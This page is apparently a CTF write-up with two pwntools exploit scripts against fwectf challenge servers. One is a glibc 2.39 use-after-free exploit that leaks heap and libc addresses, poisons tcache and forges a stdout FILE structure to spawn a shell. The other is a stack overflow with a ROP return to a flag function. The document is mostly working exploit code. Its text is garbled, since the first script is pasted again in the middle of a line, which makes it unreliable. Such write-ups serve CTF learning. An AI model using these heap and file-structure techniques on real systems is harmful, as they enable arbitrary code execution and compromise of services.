Guide to Heap
Classic heap challenge (UAF)
#!/usr/bin/env python3
from pwn import *
libc = ELF("./libc.so.6")
elf = ELF("./chall_patched")
ld = ELF("./ld-2.39.so")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '160']
#context.log_level = "debug"
gs = '''
continue
'''
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
#onegadgets = one_gadget('libc.so.6', libc.address)
def start():
if args.REMOTE:
return remote("chal1.fwectf.com", 8010)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= exploit here ===================
r.timeout = 1
rcu(b">")
def menu(choice): sl(bc(choice))
def alloc(idx, size, data):
menu(1)
sla(b"Index: ", bc(idx))
sla(b"Size: ", bc(size))
sa(b"Data: ", data)
rcu(b">")
def delete(idx):
menu(2)
sla(b"Index: ", bc(idx))
rcu(b">")
def edit(idx, data):
menu(3)
sla(b"Index: ", bc(idx))
sa(b"Data: ", data)
rcu(b">")
def show(idx):
menu(4)
sla(b"Index: ", bc(idx))
return r.recvn(0x100)
alloc(0, 0xf8, b"A"*0x88)
alloc(1, 0xf8, b"X"*0x88)
delete(0) # puntero queda vivo en chunks[0] -> UAF
leak = u64(show(0)[:6].ljust(8,b"\x00")) # lee 0x100 bytes del chunk liberado (incluye puntero en tcache, safe-linking)
logleak("heap mangled leak", leak)
heap_base = demangle_base(leak)
logleak("heap base", heap_base)
delete(1)
#reset
alloc(2, 0x418, b"B"*8)
alloc(3, 0x18,b"guard")
delete(2)
leak = u64(show(2)[:6].ljust(8,b"\x00"))
logleak("libc leak", leak)
libc.address = leak - 0x203b20
libcbase()
gadget = libc.address + 0x00000000001724f0# add rdi, 0x10; jmp rcx;
stdout_lock = libc.address + 0x205710 # _IO_stdfile_1_lock
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
log.info(f"gadget (add rdi, 0x10; jmp rcx;) = {hex(gadget)}")
log.info(f"_IO_2_1_stdout_ = {hex(libc.sym._IO_2_1_stdout_)}")
log.info(f"lock = {hex(stdout_lock)}")
#Fake stdout using the _IO_wfile_underflow technique
fake = FileStructure#!/usr/bin/env python3
from pwn import *
libc = ELF("./libc.so.6")
elf = ELF("./chall_patched")
ld = ELF("./ld-2.39.so")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '160']
#context.log_level = "debug"
gs = '''
continue
'''
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
#onegadgets = one_gadget('libc.so.6', libc.address)
def start():
if args.REMOTE:
return remote("chal1.fwectf.com", 8010)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= exploit here ===================
r.timeout = 1
rcu(b">")
def menu(choice): sl(bc(choice))
def alloc(idx, size, data):
menu(1)
sla(b"Index: ", bc(idx))
sla(b"Size: ", bc(size))
sa(b"Data: ", data)
rcu(b">")
def delete(idx):
menu(2)
sla(b"Index: ", bc(idx))
rcu(b">")
def edit(idx, data):
menu(3)
sla(b"Index: ", bc(idx))
sa(b"Data: ", data)
rcu(b">")
def show(idx):
menu(4)
sla(b"Index: ", bc(idx))
return r.recvn(0x100)
alloc(0, 0xf8, b"A"*0x88)
alloc(1, 0xf8, b"X"*0x88)
delete(0) # puntero queda vivo en chunks[0] -> UAF
leak = u64(show(0)[:6].ljust(8,b"\x00")) # lee 0x100 bytes del chunk liberado (incluye puntero en tcache, safe-linking)
logleak("heap mangled leak", leak)
heap_base = demangle_base(leak)
logleak("heap base", heap_base)
delete(1)
#reset
alloc(2, 0x418, b"B"*8)
alloc(3, 0x18,b"guard")
delete(2)
leak = u64(show(2)[:6].ljust(8,b"\x00"))
logleak("libc leak", leak)
libc.address = leak - 0x203b20
libcbase()
gadget = libc.address + 0x00000000001724f0# add rdi, 0x10; jmp rcx;
stdout_lock = libc.address + 0x205710 # _IO_stdfile_1_lock
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
log.info(f"gadget (add rdi, 0x10; jmp rcx;) = {hex(gadget)}")
log.info(f"_IO_2_1_stdout_ = {hex(libc.sym._IO_2_1_stdout_)}")
log.info(f"lock = {hex(stdout_lock)}")
#Fake stdout using the _IO_wfile_underflow technique
fake = FileStructure(0)
fake.flags = 0x0
fake._IO_read_end=libc.sym.system# system()
fake._IO_save_base = p64(gadget)
fake._IO_write_end=u64(b'/bin/sh\x00')# rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200 # _wide_data => 0x0
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
log.info(f"len of fake stdout {hex(len(fake))}")
#UAF to alloc in _IO_2_1_stdout_
edit(1, p64(remangle(heap_base, libc.sym._IO_2_1_stdout_)))
alloc(1, 0xf8,p64(0xcafebabe))
sleep
alloc(4, 0xf8, bytes(fake))
#========= interactive ====================
r.interactive()
#fwectf{kn0w1ng_7c4ch3(0)
fake.flags = 0x0
fake._IO_read_end=libc.sym.system# system()
fake._IO_save_base = p64(gadget)
fake._IO_write_end=u64(b'/bin/sh\x00')# rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200 # _wide_data => 0x0
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
log.info(f"len of fake stdout {hex(len(fake))}")
#UAF to alloc in _IO_2_1_stdout_
edit(1, p64(remangle(heap_base, libc.sym._IO_2_1_stdout_)))
alloc(1, 0xf8,p64(0xcafebabe))
sleep
alloc(4, 0xf8, bytes(fake))
#========= interactive ====================
r.interactive()
#fwectf{kn0w1ng_7c4ch3
pwnme Easy pwn challenge
#!/usr/bin/env python3
from pwn import *
elf = ELF("./main_patched")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '160']
#context.log_level = "debug"
gs = '''
continue
'''
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
#onegadgets = one_gadget('libc.so.6', libc.address)
def start():
if args.REMOTE:
return remote("chal2.fwectf.com", 8000)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= exploit here ===================
rop = ROP(elf)
payload = b"A"*0x10
payload += b"B"*8
payload += p64(rop.find_gadget(["ret"])[0])
payload += p64(elf.sym.flag)
sla(b"do nothing else:", payload)
#========= interactive ====================
r.interactive()
#fwectf{bof_b0f_6of_60f}